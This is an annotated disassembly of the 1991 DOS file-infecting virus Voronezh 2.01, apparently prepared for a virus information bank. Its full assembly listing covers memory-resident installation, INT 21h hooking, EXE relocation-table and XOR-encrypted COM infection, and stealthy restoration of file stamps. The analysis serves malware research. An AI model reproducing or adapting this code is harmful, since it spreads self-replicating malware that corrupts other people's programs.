;======================================================= ; Virus Voronez 2.01 (August 1991 Zielona Gora, Poland) ; ; Disassembled by Andrzej Kadlof 1991 August ; ; (C) Polish Section Of Virus Information Bank ;======================================================= 1EE6 9A19240657 call 5706:2419 ; victim code 1EEB 1E push ds 1EEC B82325 mov ax,2523 ;... ; ;------------------- ; virus entry point 2419 8CD8 mov ax,ds 241B 0E push cs 241C 1F pop ds 241D 50 push ax 241E E80000 call 2421 ; get own offset 2421 5B pop bx 2422 81EB0801 sub bx,0108 ; virus base 2426 53 push bx ; is virus present in RAM? 2427 B4AB mov ah,AB ; call for resident part 2429 CD21 int 21 242B 3D5555 cmp ax,5555 ; expected answer 242E 7503 jne 2433 ; not instaled 2430 E9D000 jmp 2503 ; instaled, exit ; install wirus in RAM 2433 8CC0 mov ax,es ; PSP segment 2435 2D0100 sub ax,0001 ; MCB segment 2438 8ED8 mov ds,ax 243A BB0300 mov bx,0003 ; offset of size of block in MCB 243D 3E8B07 mov ax,ds:[bx] ; get size 2440 2DEA00 sub ax,00EA ; reserve 0EA0h bytes for virus (3744) 2443 3E8907 mov ds:[bx],ax ; store new block size 2446 06 push es ; restore DS 2447 1F pop ds 2448 BB0200 mov bx,0002 ; offset of MEM size in PSP 244B 3E8B07 mov ax,ds:[bx] ; get MEM size 244E 2DEA00 sub ax,00EA ; decrease by 3744 bytes 2451 3E8907 mov ds:[bx],ax ; set new value in PSP 2454 8EC0 mov es,ax ; segment for new virus location 2456 BF0001 mov di,0100 ; offset of destination 2459 BE0001 mov si,0100 ; offset of source 245C 5B pop bx ; virus base 245D 53 push bx 245E 01DE add si,bx ; start of virus code 2460 0E push cs ; set DS to virus code 2461 1F pop ds 2462 B9A406 mov cx,06A4 ; length (1700) 2465 F3A4 rep movsb ; move to new place 2467 8BD0 mov dx,ax ; segment of new location 2469 EB74 jmp 24DF ; continue 246B 90 nop ;------------------ ; INT 21h handler 246C 9C pushf 246D FB sti 246E 80FCAB cmp ah,AB ; virus call 2471 7505 jne 2478 ; no 2473 B85555 mov ax,5555 ; answer: I'm here 2476 9D popf 2477 CF iret 2478 3D003D cmp ax,3D00 ; open file for read only 247B 7540 jne 24BD ; open file for read only 247D 50 push ax 247E 53 push bx 247F 51 push cx 2480 52 push dx 2481 56 push si 2482 57 push di 2483 06 push es 2484 B94100 mov cx,0041 ; maximum path length 2487 30C0 xor al,al 2489 8BFA mov di,dx ; offset of path 248B 1E push ds 248C 07 pop es 248D F2AE repnz scasb ; find end of string 248F 83EF04 sub di,0004 ; point at extension 2492 8BF7 mov si,di 2494 56 push si ; offset of extension 2495 0E push cs 2496 07 pop es 2497 B90400 mov cx,0004 ; extension length 249A BF8902 mov di,0289 ; is it EXE? 249D F3A6 rep cmpsb 249F 83F900 cmp cx,0000 24A2 7504 jne 24A8 24A4 5E pop si ; balance stack 24A5 EB0D jmp 24B4 ; skip exe comparison 24A7 90 nop 24A8 BF8C02 mov di,028C ; is it exe? 24AB B90400 mov cx,0004 24AE 5E pop si ; offset of extension 24AF F3A6 rep cmpsb 24B1 83F900 cmp cx,0000 ; restore callers registers 24B4 07 pop es 24B5 5F pop di 24B6 5E pop si 24B7 5A pop dx 24B8 59 pop cx 24B9 5B pop bx 24BA 58 pop ax 24BB 7409 je 24C6 ; exe file, contaminate it! ; not EXE file, maybe COM or subfunction <> 3D00h 24BD 50 push ax ; store subfunction code 24BE FEC4 inc ah ; hide 4B00h comparison 24C0 3D004C cmp ax,4C00 ; "terminate" proces 24C3 58 pop ax ; restore subfunction 24C4 7513 jne 24D9 ; jump to old INT 21h ; EXE file will be open for read only or any file will be loaded and executed ; store caller registers again 24C6 50 push ax 24C7 53 push bx 24C8 51 push cx 24C9 52 push dx 24CA 56 push si 24CB 57 push di 24CC 06 push es 24CD 1E push ds 24CE E91F01 jmp 25F0 ; contaminate ; jump to old INT 21h 24D1 1F pop ds 24D2 07 pop es 24D3 5F pop di 24D4 5E pop si 24D5 5A pop dx 24D6 59 pop cx 24D7 5B pop bx 24D8 58 pop ax 24D9 9D popf 24DA EA60147902 jmp 0279:1460 ; old INT 21h ; ^^^^^^^^ old INT 21h (place holder) ;--------------------- ; continue instalation ; get INT 21h 24DF 8EDA mov ds,dx ; DS points at new virus location 24E1 B82135 mov ax,3521 24E4 CD21 int 21 24E6 3E891EC201 mov ds:[01C2],bx ; modify own code 24EB 3E8C06C401 mov ds:[01C4],es 24F0 3E891E7503 mov ds:[0375],bx 24F5 3E8C067703 mov ds:[0377],es ; set new INT 21h 24FA 8D165301 lea dx,[0153] ; here 246C 24FE B82125 mov ax,2521 2501 CD21 int 21 2503 5A pop dx ; virus base 2504 BBB002 mov bx,02B0 ; offset of working varible 2507 01D3 add bx,dx ; add base 2509 2E803F00 cmp byte ptr [bx],00 ; carrier type 250D 7441 je 2550 ; carrier is COM file ; carrier is EXE file 250F 1F pop ds ; restore DS 2510 8CD8 mov ax,ds ; store new virus segment 2512 0E push cs 2513 1F pop ds 2514 8BCA mov cx,dx 2516 5F pop di ; entry point offset 2517 07 pop es ; entry point segment 2518 50 push ax 2519 83EF05 sub di,0005 ; length of FAR CALL ; improper handling of the case when relocation item points exactly at ; fifth byte of stored code 251C BEAF02 mov si,02AF ; extension of buffer 251F 01CE add si,cx ; virus base 2521 8A14 mov dl,[si] ; get sixth byte, this byte may by ; changed during relocation proces ; this byte should be added to sixth byte in file (counting from entry point) 2523 26005505 add es:[di+05],dl ; add key 2527 26385505 cmp es:[di+05],dl ; was DL = 0? 252B 7703 ja 2530 ; jump if no 252D 4E dec si 252E FE04 inc byte ptr [si] 2530 8BD7 mov dx,di ; destination 2532 BEAA02 mov si,02AA ; source buffer 2535 01CE add si,cx ; add base 2537 B90500 mov cx,0005 ; number of bytes 253A F3A4 rep movsb 253C 1F pop ds 253D 06 push es ; prepare long jump 253E 52 push dx 253F 8CD8 mov ax,ds ; reset registers 2541 8EC0 mov es,ax 2543 31C0 xor ax,ax 2545 31DB xor bx,bx 2547 31C9 xor cx,cx 2549 31D2 xor dx,dx 254B 31F6 xor si,si 254D 31FF xor di,di 254F CB retf ; jump to application ; exit to COM application 2550 8CC8 mov ax,cs 2552 8ED8 mov ds,ax 2554 8EC0 mov es,ax 2556 BE6802 mov si,0268 ; offset of encryption routine 2559 B90001 mov cx,0100 ; number of bytes 255C BB8102 mov bx,0281 ; file size 255F 8B3F mov di,[bx] 2561 83FF00 cmp di,0000 ; ?? 2564 7502 jne 2568 2566 CD20 int 20 ; terminate ; form destination address 2568 BB8302 mov bx,0283 ; place holder for virus length 256B 8B07 mov ax,[bx] ; virus length 256D 01C7 add di,ax ; add to file size 256F 81C70001 add di,0100 ; size of PSP 2573 FC cld 2574 57 push di ; destination address 2575 F3A4 rep movsb ; move part of code 2577 5F pop di ; restore address 2578 8B0E8302 mov cx,[0283] ; virus size 257C A18102 mov ax,[0281] ; file length 257F 57 push di ; prepare jump 2580 C3 ret ; jump to moved code (here 2581) ;-------------------- ; encryption routine 2581 050001 add ax,0100 ; PSP size 2584 8BF0 mov si,ax ; offset of encrypted block 2586 BF0001 mov di,0100 ; destination 2589 FC cld ; decrypt block and copy it to begin of file 258A 8A04 mov al,[si] 258C 34BB xor al,BB 258E 8805 mov [di],al 2590 46 inc si 2591 47 inc di 2592 E2F6 loop 258A ; jump to application 2594 B80001 mov ax,0100 ; entry point for EXE 2597 5B pop bx ; balance stack 2598 50 push ax ; prepare jump 2599 C3 ret ; jump to COM ; working area 259A 1926 ; [base + 0281] low word of file size 259C 4006 ; [base + 0283] size of virus, (high word of file length) 259E 014C ; [base + 0285] old INT 24h (offset) 25A0 169F ; [base + 0287] old INT 24h (segment) 25A2 45 58 45 ; [base + 0289] 'EXE' 25A5 65 78 65 ; [base + 028C] 'exe' ; unused ; below line after xoring with 1A become: OleynikozL - name of the wirus author 25A8 55 76 7F 63 74 73 71 75 60 56 ; Uvctsqu` 25B1 56 6F 72 6F 6E 65 7A 68 2C ; Voronezh, 25BA 31 39 39 30 20 32 2E 30 31 ; 1990 2.01 ; used data 25C3 FC 0E 1F BA BB ; [base + 02AA] starting 5 bytes of EXE file 25C8 00 ; [base + 02AF] this byte is added to 02AE ; if it is 0 then [02AE] is decreased by 1 25C9 01 ; [base + 02B0] carrier type: 0 - EXE, 1 - COM 25CA 0002 ; [base + 02B1] offset in header for new relocation entry 25CC E61E ; [base + 02B3] IP of EXE file 25CE 0000 ; [base + 02B5] CS of EXE file 25D0 0000 25D2 00 25D3 0000 ; [base + 02BA] virus entry point in file on disk 25D5 E620 ; [base + 02BC] - [02B1] 25D7 0000 ; [base + 02BE] segment of virus entry point 25D9 1924 ; [base + 02C0] offset 25DB 9A ; [base + 02C2] code of CALL SSSS:OOOO 25DC 1924 ; [base + 02C3] OOOO 25DE 0000 ; [base + 02C5] SSSS 25E0 0000 ; [base + 02C7] file position low word 25E2 1E00 ; [base + 02C9] file position high word 25E4 0001 ; [base + 02CB] size of buffer 25E6 0000 ; [base + 02CD] total size of readed part of ReloTabl 25E8 00 ; [base + 02CF] number of disk (0 - default, 1 - A, ...) 25E9 2000 ; [base + 02D0] file attributes 25EB B438 ; [base + 02D2] offset of file name 25ED 0F4C ; [base + 02D4] segment of file name ;----------------- ; INT 24h handler 25EF CF iret ; jump here if EXE file is open or sam program is loaded and executed ; check file name, skip file if fourth and fifth characters in path are 'CO' 25F0 8BDA mov bx,dx ; offset of path 25F2 3E8B4703 mov ax,ds:[bx+03] ; skip 'd:\' (?) 25F6 3D434F cmp ax,4F43 ; 'CO' protect 'C:\COMMAND.COM' ? 25F9 7503 jne 25FE 25FB E9D3FE jmp 24D1 ; jump to old INT 21h ; check presence of disk specyfication 25FE 8BFA mov di,dx ; offset of path 2600 31C0 xor ax,ax 2602 2EC606CF0200 mov byte ptr [02CF],00 ; default 2608 3E807D013A cmp ds:byte ptr [di+01],3A ; ':' is disk specified? 260D 7509 jne 2618 ; no ; convert disk specyfication to number (A - 1, B - 2, ...) 260F 3E8A05 mov al,ds:[di] 2612 249F and al,9F ; convert 2614 2EA2CF02 mov [02CF],al ; store disk number 2618 B80043 mov ax,4300 ; get file attributes 261B CD21 int 21 ; store address of path and file attributes 261D 2E890ED002 mov [02D0],cx 2622 2E8C1ED202 mov [02D2],ds 2627 2E8916D402 mov [02D4],dx ; intercepte INT 24h 262C 1E push ds 262D 52 push dx 262E 06 push es 262F 0E push cs 2630 1F pop ds 2631 B82435 mov ax,3524 2634 CD21 int 21 2636 891E8502 mov [0285],bx 263A 8C068702 mov [0287],es 263E BAD602 mov dx,02D6 2641 B82425 mov ax,2524 2644 CD21 int 21 2646 07 pop es 2647 5A pop dx 2648 1F pop ds 2649 1E push ds 264A 0E push cs 264B 1F pop ds 264C BB0001 mov bx,0100 264F B94007 mov cx,0740 ; offset of buffer 2652 29D9 sub cx,bx ; virus length 2654 BB8302 mov bx,0283 ; offset of varible 2657 890F mov [bx],cx ; size of virus/crypted block 2659 1F pop ds 265A 8BDA mov bx,dx ; waste of time 265C 1E push ds ; store address of path 265D 52 push dx 265E 53 push bx ; waste of time 265F 0E push cs 2660 1F pop ds 2661 B436 mov ah,36 ; disk free 2663 8A16CF02 mov dl,[02CF] ; disk number 2667 CD21 int 21 2669 3DFFFF cmp ax,FFFF ; check for error 266C 7509 jne 2677 ; ok ; disk not accessible, exit 266E 58 pop ax ; balance stack 266F 58 pop ax 2670 58 pop ax 2671 E8A203 call 2A16 ; restore INT 24h 2674 E95AFE jmp 24D1 ; jump to old INT 21h ; convert disk free space into bytes 2677 F7E3 mul bx 2679 F7E1 mul cx 267B 09D2 or dx,dx 267D 7506 jne 2685 ; plenty of free room 267F 3B068302 cmp ax,[0283] ; minimum disk free space 2683 72E9 jb 266E ; disk full, exit 2685 5B pop bx ; balance stack 2686 5A pop dx ; path address 2687 1F pop ds 2688 B8003D mov ax,3D00 ; open file for read only 268B 9C pushf 268C FA cli 268D 9A60147902 call 0279:1460 ; old INT 21h ; ^^^^^^^^ old INT 21h (place holder) 2692 7306 jnb 269A ; OK 2694 E87F03 call 2A16 ; restore INT 24h 2697 E937FE jmp 24D1 ; jump to old INT 21h 269A 50 push ax ; store handle 269B 8CC8 mov ax,cs ; set DS and ES to virus segment 269D 8ED8 mov ds,ax 269F 8EC0 mov es,ax 26A1 58 pop ax ; restore handle 26A2 50 push ax ; store handle 26A3 8BD8 mov bx,ax 26A5 B80057 mov ax,5700 ; get file time/date stamp 26A8 CD21 int 21 26AA 58 pop ax ; restore handle 26AB 51 push cx ; attributes 26AC 52 push dx ; offset of path 26AD 50 push ax ; handle ; get file size 26AE 8BD8 mov bx,ax ; handle 26B0 B90000 mov cx,0000 26B3 BA0000 mov dx,0000 26B6 B442 mov ah,42 ; move file ptr 26B8 B002 mov al,02 ; to EOF 26BA CD21 int 21 26BC BB8102 mov bx,0281 ; store low word of file length 26BF 8907 mov [bx],ax ; waste of time or programmers error 26C1 BB8302 mov bx,0283 ; 'store' high word of file length 26C4 8B0F mov cx,[bx] ; <- error (?), maybe: mov [bx],cx ? ; move file ptr to BOF 26C6 B90000 mov cx,0000 26C9 BA0000 mov dx,0000 26CC B80042 mov ax,4200 ; move file ptr to BOF 26CF 5B pop bx ; restore handle 26D0 53 push bx 26D1 CD21 int 21 ; read [0283] bytes of file to buffer located above virus 26D3 BB8302 mov bx,0283 ; working varible 26D6 8B0F mov cx,[bx] ; length of virus/encrypted block 26D8 5B pop bx ; restore handle 26D9 53 push bx 26DA BA4007 mov dx,0740 ; buffer 26DD B43F mov ah,3F ; read file 26DF CD21 int 21 26E1 BE4007 mov si,0740 ; buffer 26E4 8B0C mov cx,[si] ; first word 26E6 81F98CD8 cmp cx,D88C ; signature in COM file 26EA 7509 jne 26F5 ; clear COM or EXE file ; this is infected COM file, exit 26EC 5B pop bx ; handle 26ED 58 pop ax ; balance stack 26EE 58 pop ax 26EF E81F03 call 2A11 ; close file and restore INT 24h 26F2 E9DCFD jmp 24D1 ; jump to old INT 21h ; is it EXE file or clear COM? 26F5 81F94D5A cmp cx,5A4D ; EXE marker 26F9 7403 je 26FE ; yes 26FB E98902 jmp 2987 ; infect COM file ; check EXE file 26FE 5B pop bx ; restore handle 26FF 53 push bx 2700 B80042 mov ax,4200 ; move file ptr to BOF 2703 31C9 xor cx,cx 2705 31D2 xor dx,dx 2707 CD21 int 21 2709 B93200 mov cx,0032 ; block size 270C B8003F mov ax,3F00 ; read file 270F 8D164007 lea dx,[0740] ; buffer 2713 CD21 int 21 ; check free place in relocation table 2715 A14607 mov ax,[0746] ; ReloCnt 2718 B90400 mov cx,0004 ; entry size 271B F7E1 mul cx ; AX size of relocation table 271D 8B1E5807 mov bx,[0758] ; TablOff 2721 01D8 add ax,bx 2723 8BD0 mov dx,ax ; size of used area in header 2725 8BFA mov di,dx 2727 A14807 mov ax,[0748] ; HdrSize 272A B91000 mov cx,0010 ; convert to bytes 272D F7E1 mul cx 272F 8BD7 mov dx,di ; used header size 2731 83C204 add dx,0004 ; one additional entry 2734 39D0 cmp ax,dx ; is free space? 2736 7703 ja 273B ; yes 2738 E94902 jmp 2984 ; relocation table is full, exit ; prepare new header 273B A3B102 mov [02B1],ax ; offset of first unused entry 273E A14607 mov ax,[0746] ; ReloCnt 2741 40 inc ax ; add one entry 2742 A34607 mov [0746],ax ; ReloCnt, store new value of counter 2745 A15407 mov ax,[0754] ; IP 2748 A3B302 mov [02B3],ax ; store oryginal IP 274B A15607 mov ax,[0756] ; CS 274E A3B502 mov [02B5],ax ; store oryginal CS 2751 31D2 xor dx,dx 2753 31C9 xor cx,cx 2755 B80242 mov ax,4202 ; move file ptr to EOF 2758 5B pop bx ; restore handle 2759 53 push bx 275A CD21 int 21 275C 50 push ax ; store file length 275D 52 push dx 275E 03068302 add ax,[0283] ; find new file length 2762 3B068302 cmp ax,[0283] ; long integer addition 2766 7701 ja 2769 2768 42 inc dx ; high word of file length 2769 B90002 mov cx,0200 ; convert into 512 byte pages 276C F7F1 div cx 276E 83FA00 cmp dx,0000 ; last page non empty? 2771 7401 je 2774 2773 40 inc ax ; count last page ; check if header information match to real file size 2774 8B1E4407 mov bx,[0744] ; PageCnt 2778 8BC8 mov cx,ax ; new PageCnt 277A 29D9 sub cx,bx ; diference 277C 83F905 cmp cx,0005 ; maximum possible 277F 7205 jb 2786 ; OK, continue infection ; there is some information above program in EXE file, do not infect such a ; file, exit 2781 58 pop ax 2782 58 pop ax 2783 E9FE01 jmp 2984 ; continue infection 2786 A34407 mov [0744],ax ; PageCnt, store new value 2789 5A pop dx ; restore file length 278A 58 pop ax ; low word of file length 278B 8B1EB102 mov bx,[02B1] ; position of free relocation entry 278F 39D8 cmp ax,bx 2791 7205 jb 2798 ; find length of file part above last entry in relocation table 2793 29D8 sub ax,bx 2795 EB04 jmp 279B 2797 90 nop 2798 29D8 sub ax,bx 279A 4A dec dx 279B 8916BE02 mov [02BE],dx ; address of virus entry point (segment) 279F A3C002 mov [02C0],ax ; offset 27A2 A1B102 mov ax,[02B1] ; offset in relocation table 27A5 8B1EB302 mov bx,[02B3] ; IP 27A9 BA0000 mov dx,0000 ; prepare long integer addition 27AC 01D8 add ax,bx ; add long integer 27AE 39D8 cmp ax,bx 27B0 7701 ja 27B3 27B2 42 inc dx 27B3 8BF0 mov si,ax ; offset of entry point 27B5 8BFA mov di,dx ; high word 27B7 A1B502 mov ax,[02B5] ; CS 27BA B91000 mov cx,0010 ; convert to bytes 27BD F7E1 mul cx 27BF 01D7 add di,dx ; high word 27C1 01C6 add si,ax ; low word 27C3 39C6 cmp si,ax 27C5 7701 ja 27C8 27C7 47 inc di ; store distance in file between first free entry in relocation table and ; program entry point in disk file 27C8 8BC6 mov ax,si 27CA 8BD7 mov dx,di 27CC 8916BA02 mov [02BA],dx 27D0 A3BC02 mov [02BC],ax ; move file position to entry point 27D3 8BCA mov cx,dx 27D5 8BD0 mov dx,ax 27D7 B80042 mov ax,4200 ; move file ptr 27DA C606B00201 mov byte ptr [02B0],01 ; flag: EXE file 27DF C606AF0200 mov byte ptr [02AF],00 ; buffer extension 27E4 5B pop bx ; handle 27E5 53 push bx 27E6 CD21 int 21 ; read oryginal five bytes from entry point 27E8 B90500 mov cx,0005 ; number of bytes 27EB 8D16AA02 lea dx,[02AA] ; local buffer 27EF B8003F mov ax,3F00 ; read file 27F2 CD21 int 21 27F4 803EAA029A cmp byte ptr [02AA],9A ; signature 27F9 7503 jne 27FE ; not infected, continue 27FB E98601 jmp 2984 ; do not infect, exit ; continue infection 27FE E82302 call 2A24 ; clear attributes and reopen for read/write ; move file ptr to first not used entry in relocation table 2801 8B1E5807 mov bx,[0758] ; TableOff 2805 A14607 mov ax,[0746] ; ReloCnt 2808 48 dec ax ; count starts from zero 2809 B90400 mov cx,0004 ; entry size 280C F7E1 mul cx 280E 01C3 add bx,ax ; offset in table 2810 B90000 mov cx,0000 2813 8BD3 mov dx,bx 2815 B80042 mov ax,4200 ; move file ptr to BOF 2818 5B pop bx ; handle 2819 53 push bx 281A CD21 int 21 ; write new relocation table entry 281C 8B16B302 mov dx,[02B3] ; IP 2820 83C203 add dx,0003 ; length of instruction code and offset 2823 8916B302 mov [02B3],dx ; pointer to segment word 2827 8D16B302 lea dx,[02B3] ; buffer with CS:IP 282B B90400 mov cx,0004 ; buffer size 282E B440 mov ah,40 ; write file 2830 5B pop bx ; handle 2831 53 push bx 2832 CD21 int 21 ; restore IP in [02B3] 2834 8B16B302 mov dx,[02B3] 2838 83EA03 sub dx,0003 283B 8916B302 mov [02B3],dx ; move file ptr to begin of file 283F 31D2 xor dx,dx 2841 31C9 xor cx,cx 2843 B80042 mov ax,4200 ; move file ptr to BOF 2846 5B pop bx ; handle 2847 53 push bx 2848 CD21 int 21 ; write new header to file 284A 8B0E5807 mov cx,[0758] ; TableOff, number of bytes to write 284E 8D164007 lea dx,[0740] ; offset of buffer 2852 B440 mov ah,40 ; write file 2854 CD21 int 21 ; form code for instruction of far call to virus 2856 C606C2029A mov byte ptr [02C2],9A ; code for CALL ssss:oooo 285B A1C002 mov ax,[02C0] ; offset of virus entry point in RAM 285E A3C302 mov [02C3],ax ; store in buffer 2861 A1BE02 mov ax,[02BE] ; segment 2864 B90010 mov cx,1000 ; ?? 2867 F7E1 mul cx 2869 A3C502 mov [02C5],ax ; new segment 286C 813EC30200F0 cmp word ptr [02C3],F000 2872 7215 jb 2889 ; keep offset below F000 2874 A1C302 mov ax,[02C3] 2877 8B16C502 mov dx,[02C5] 287B 81C20001 add dx,0100 ; adjust segment 287F 2D0010 sub ax,1000 ; decrease offset 2882 8916C502 mov [02C5],dx ; store new values 2886 A3C302 mov [02C3],ax ; write to disk new entry point code 2889 8B0EBA02 mov cx,[02BA] ; virus entry point on disk file 288D 8B16BC02 mov dx,[02BC] 2891 B80042 mov ax,4200 ; move file ptr 2894 5B pop bx 2895 53 push bx 2896 CD21 int 21 2898 B90500 mov cx,0005 ; buffer length 289B B440 mov ah,40 ; write file 289D 8D16C202 lea dx,[02C2] ; buffeer with CALL SSSS:OOOO 28A1 CD21 int 21 ; append to file virus code 28A3 B90000 mov cx,0000 28A6 BA0000 mov dx,0000 28A9 B80242 mov ax,4202 ; move file ptr to EOF 28AC 5B pop bx ; handle 28AD 53 push bx 28AE CD21 int 21 28B0 B440 mov ah,40 ; write file 28B2 8B0E8302 mov cx,[0283] ; virus length 28B6 BA0001 mov dx,0100 ; offset of virus code in RAM 28B9 CD21 int 21 ; analyse relocation table 28BB 31C9 xor cx,cx 28BD 8B165807 mov dx,[0758] ; TablOff 28C1 B80042 mov ax,4200 ; move file ptr 28C4 5B pop bx ; handle 28C5 53 push bx 28C6 CD21 int 21 28C8 C706CD020000 mov word ptr [02CD],0000 28CE 8916C702 mov [02C7],dx ; store file position 28D2 A3C902 mov [02C9],ax 28D5 A14607 mov ax,[0746] ; ReloCnt 28D8 BF0000 mov di,0000 28DB 48 dec ax ; restore oryginal value 28DC 3D0000 cmp ax,0000 28DF 7503 jne 28E4 ; analyse relocation table ; if oryginal relocation table was empty then exit 28E1 E9A000 jmp 2984 ; close file, restore attr etc. ; find size of relocation table 28E4 B90400 mov cx,0004 28E7 F7E1 mul cx 28E9 8BF0 mov si,ax ; offset of last used entry ; get current file position (this is the begin of relocation teble) 28EB B90000 mov cx,0000 28EE BA0000 mov dx,0000 28F1 B80142 mov ax,4201 ; move file ptr rel current position 28F4 CD21 int 21 ; read part of relocation table 28F6 8916C702 mov [02C7],dx ; store file position 28FA A3C902 mov [02C9],ax 28FD B90001 mov cx,0100 ; number of bytes 2900 BA0000 mov dx,0000 ; buffer 2903 B8003F mov ax,3F00 ; read file 2906 CD21 int 21 2908 BF0000 mov di,0000 ; point at relocation table 290B A3CB02 mov [02CB],ax ; number of bytes readed 290E 0106CD02 add [02CD],ax ; total number of readed bytes ; check relocation table entry 2912 8B4502 mov ax,[di+02] ; get segment 2915 3B06B502 cmp ax,[02B5] ; is it CS 2919 7551 jne 296C ; check next entry 291B 8B05 mov ax,[di] ; get offset 291D 3B06B302 cmp ax,[02B3] ; is it IP 2921 7249 jb 296C ; check next entry ; relocatin item points at entry point or above 2923 A1B302 mov ax,[02B3] ; IP 2926 050500 add ax,0005 ; length of far call 2929 3B05 cmp ax,[di] ; relocation item point inside call code 292B 763F jbe 296C ; no, consider next entry ; modify relocation table and write it to file ; let relocation item point at the same code but now stored in virus ; body in local buffer 292D A1C502 mov ax,[02C5] ; segment of virus entry point 2930 894502 mov [di+02],ax ; store in buffer 2933 8B05 mov ax,[di] ; offset 2935 8B1EB302 mov bx,[02B3] ; old IP 2939 29D8 sub ax,bx 293B 50 push ax ; store 293C B8AA02 mov ax,02AA ; offset of local buffer 293F 2D0001 sub ax,0100 ; offset in virus body 2942 8B1EC302 mov bx,[02C3] ; offset of entry point in RAM 2946 01D8 add ax,bx 2948 5B pop bx 2949 01D8 add ax,bx 294B 8905 mov [di],ax ; new offset 294D 8B0EC702 mov cx,[02C7] ; restore file position 2951 8B16C902 mov dx,[02C9] 2955 B80042 mov ax,4200 ; move file ptr 2958 5B pop bx ; restore handle 2959 53 push bx 295A CD21 int 21 295C 8B0ECB02 mov cx,[02CB] ; number of bytes 2960 B440 mov ah,40 ; write file 2962 5B pop bx ; handle 2963 53 push bx 2964 BA0000 mov dx,0000 ; from 2967 CD21 int 21 2969 EB19 jmp 2984 ; close file, etc. exit 296B 90 nop 296C 83C704 add di,0004 ; next entry in relocation table 296F A1CD02 mov ax,[02CD] ; number of readed bytes 2972 2D0001 sub ax,0100 ; buffer size 2975 01F8 add ax,di ; current position in table 2977 39F0 cmp ax,si ; table size 2979 7409 je 2984 ; close file, etc. exit 297B 3B3ECB02 cmp di,[02CB] ; end of buffer? 297F 7291 jb 2912 ; no, check next relocation item 2981 E967FF jmp 28EB ; read next part of relocation table 2984 EB67 jmp 29ED ; close file, etc. and exit 2986 90 nop ;------------------- ; infect COM file ; check maximum file size 2987 8B0E8102 mov cx,[0281] ; file size 298B 81F948EE cmp cx,EE48 ; maximum file size (61000) 298F 7209 jb 299A ; file too long or too short, exit 2991 5B pop bx 2992 58 pop ax 2993 58 pop ax 2994 E87A00 call 2A11 ; close file and restore INT 24h 2997 E937FB jmp 24D1 ; jump to old INT 21h ; check minimum file size 299A 3B0E8302 cmp cx,[0283] ; virus length, minimum file size 299E 72F1 jb 2991 ; file too short, exit 29A0 E88100 call 2A24 ; clear attributes and reopen file 29A3 C606B00200 mov byte ptr [02B0],00 ; get file size 29A8 BA0000 mov dx,0000 29AB B90000 mov cx,0000 29AE B80242 mov ax,4202 ; move file ptr to EOF 29B1 5B pop bx ; restore handle 29B2 53 push bx 29B3 CD21 int 21 29B5 BE8302 mov si,0283 29B8 8B0C mov cx,[si] ; virus size 29BA B440 mov ah,40 ; write file 29BC 51 push cx 29BD BB4007 mov bx,0740 ; offset of buffer ; encrypt block 29C0 8A07 mov al,[bx] 29C2 34BB xor al,BB 29C4 8807 mov [bx],al 29C6 43 inc bx 29C7 E2F7 loop 29C0 ; write to file 29C9 59 pop cx ; block size 29CA 5B pop bx ; handle 29CB 53 push bx 29CC BA4007 mov dx,0740 ; offset of buffer 29CF CD21 int 21 29D1 B80042 mov ax,4200 ; move file ptr to BOF 29D4 BA0000 mov dx,0000 29D7 B90000 mov cx,0000 29DA CD21 int 21 29DC BB1001 mov bx,0110 ; faked instruction 29DF BE8302 mov si,0283 29E2 8B0C mov cx,[si] 29E4 BA0001 mov dx,0100 29E7 B440 mov ah,40 ; write file 29E9 5B pop bx ; handle 29EA 53 push bx 29EB CD21 int 21 ; common (EXE and COM) exit code, restore file date/time stamp 29ED 5B pop bx ; handle 29EE 5A pop dx ; file date stamp 29EF 59 pop cx ; file time stamp 29F0 53 push bx ; store handle 29F1 B80157 mov ax,5701 ; restore file time/date stamp 29F4 CD21 int 21 ; restore file attributes 29F6 8B16D402 mov dx,[02D4] ; path offset 29FA 8E1ED202 mov ds,[02D2] ; path segment 29FE B80143 mov ax,4301 ; set file attributes 2A01 2E8B0ED002 mov cx,cs:[02D0] ; restore attributes 2A06 CD21 int 21 2A08 0E push cs 2A09 1F pop ds 2A0A 5B pop bx ; handle 2A0B E80300 call 2A11 ; close file and restore INT 24h 2A0E E9C0FA jmp 24D1 ; jump to old INT 21h ;------------------------------- ; close file and restore INT 24h 2A11 B8003E mov ax,3E00 ; close file 2A14 CD21 int 21 ;---------------- ; restore INT 24h 2A16 8B1E8502 mov bx,[0285] 2A1A 8E068702 mov es,[0287] 2A1E B82425 mov ax,2524 ; restore INT 24h 2A21 CD21 int 21 2A23 C3 ret ;------------------------------------------------ ; clear file attributes and reopen for read/write 2A24 55 push bp 2A25 8BEC mov bp,sp 2A27 1E push ds 2A28 B80143 mov ax,4301 ; set file attributes 2A2B 8B16D402 mov dx,[02D4] ; path offset 2A2F 8E1ED202 mov ds,[02D2] ; path segment 2A33 31C9 xor cx,cx ; clear all 2A35 CD21 int 21 2A37 7306 jnb 2A3F ; continue ; exit to old INT 21h 2A39 1F pop ds 2A3A 5D pop bp 2A3B 58 pop ax 2A3C E945FF jmp 2984 ; exit 2A3F 368B5E04 mov bx,ss:[bp+04] ; restore handle 2A43 B8003E mov ax,3E00 ; close file 2A46 CD21 int 21 2A48 B8023D mov ax,3D02 ; open file for read/write 2A4B FA cli 2A4C 9C pushf 2A4D 2EFF1EC201 call far [01C2] ; old INT 21h 2A52 1F pop ds 2A53 36894604 mov ss:[bp+04],ax ; handle 2A57 5D pop bp 2A58 C3 ret ; end of file ;---------------------------------------- ; buffer for header of infected EXE file cs:0740 ; 'MZ' cs:0742 ; PartPag cs:0744 ; PageCnt cs:0746 ; ReloCnt cs:0748 ; HdrSize cs:074a ; MinMem cs:074c ; MaxMem cs:074e ; ReloSS cs:0750 ; ExeSP cs:0752 ; ChkSum cs:0754 ; ExeIP cs:0756 ; ReloCS cs:0758 ; TablOff cs:075a ; Overlay